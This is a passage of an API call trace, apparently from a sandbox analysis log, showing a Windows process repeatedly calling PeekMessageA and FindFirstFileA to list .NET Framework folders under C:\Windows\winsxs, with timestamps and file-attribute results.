lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.241] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorsec_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_9e8b6c6f9c9684f3\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11564f56, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11564f56, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.242] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.242] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorsn_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_2332c23e08e999cf\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1158b0b0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1158b0b0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.243] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.243] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorsvc__dll_b03f5f7f11d50a3a_6.1.7601.17514_none_e79f483dac30b3bd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94dfddca, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94dfddca, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94dfddca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.243] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.244] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorsvw_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_acd03d9b9048bd78\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1158b0b0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1158b0b0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1158b0b0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.244] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.245] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscortim_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5b77eded0caaaee2\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1158b0b0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1158b0b0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1158b0b0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.245] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.246] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorwks_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_bf0c7965d70a0677\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c894bac, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c894bac, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c894bac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.246] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.246] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-ngen_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_046c078df2caf5d8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa200f4cd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa200f4cd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa200f4cd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.247] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.247] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-normalization_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_690a89f7d576fb5f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1158b0b0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1158b0b0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1158b0b0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.248] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.250] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-perfcounter_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_b6b11074a7789633\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1158b0b0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.250] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.251] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-peverify_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_29709023f1a6e38c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.251] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.252] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-redist_config_files_b03f5f7f11d50a3a_6.1.7600.16385_none_0802cd2b76f0255f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.252] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.253] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sbscmp10_dll_31bf3856ad364e35_6.1.7600.16385_none_d0faf2491eacf3dc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.253] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.253] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-scripting_engine_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_42622b0d7f2efa52\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.254] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.254] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shared_netfx_20_mscorwks_31bf3856ad364e35_6.1.7600.16385_none_dba3691c6002e10e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.255] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.260] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shared_netfx_20_perfcounter_31bf3856ad364e35_6.1.7600.16385_none_a945e2c500c90142\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115b120a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115b120a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.260] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.261] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shared_registry_whidbey_31bf3856ad364e35_6.1.7600.16385_none_c26c5b8280c6af34\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.261] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.261] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shfusion_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_e787779b746601dd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91eae833, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91eae833, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91eae833, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.262] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.262] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shfusion_res_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_32eab9f37400f61e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115d7364, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.263] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.263] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-shfusion__chm_b03f5f7f11d50a3a_6.1.7600.16385_none_bf2e6c09e1c6e4c6\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115b120a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.264] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.264] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sos_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_a09ee40da2ffee5f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94d65849, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94d65849, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94d65849, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.265] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.265] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sysglobl_b03f5f7f11d50a3a_6.1.7600.16385_none_2dd34bce31fcb3d0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115d7364, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115fd4be, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115fd4be, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.265] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.266] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.configuration.install_b03f5f7f11d50a3a_6.1.7601.17514_none_fadc434efc9dfca1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa20a7a4e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa20a7a4e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa20a7a4e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.266] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.267] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.configuration_b03f5f7f11d50a3a_6.1.7601.17514_none_3539ec1dc8a9d396\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c7fc62b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c7fc62b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c7fc62b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.268] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.268] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.data.sqlxml_b03f5f7f11d50a3a_6.1.7601.17514_none_141b1b1223b1ada7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89158cef, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89158cef, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89158cef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.269] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.269] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.deployment_b03f5f7f11d50a3a_6.1.7601.17514_none_7713e5b653f9c0ab\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d4e3dab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8d4e3dab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d4e3dab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.269] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.270] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.design_b03f5f7f11d50a3a_6.1.7601.17514_none_8aba27781596a79c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8909a60d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8909a60d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8909a60d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.270] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.271] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.directoryservices.protocols_b03f5f7f11d50a3a_6.1.7600.16385_none_f65534c04a41b956\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115fd4be, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115fd4be, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115fd4be, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.271] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.271] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.directoryservices_b03f5f7f11d50a3a_6.1.7601.17514_none_16b6c895a094210d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94d19588, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94d3f6e9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94d3f6e9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.272] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.272] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.drawing.design_b03f5f7f11d50a3a_6.1.7600.16385_none_0fcf5c6c961b5724\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11623618, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11623618, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11623618, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.273] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.278] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.drawing_b03f5f7f11d50a3a_6.1.7601.17514_none_04f72b08eea07c1c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1fe936d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1fe936d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1fe936d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.279] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.280] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.management_b03f5f7f11d50a3a_6.1.7601.17514_none_f6397b438cd5e46b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92051756, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92051756, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92051756, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.280] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.281] FindFirstFileA (in: 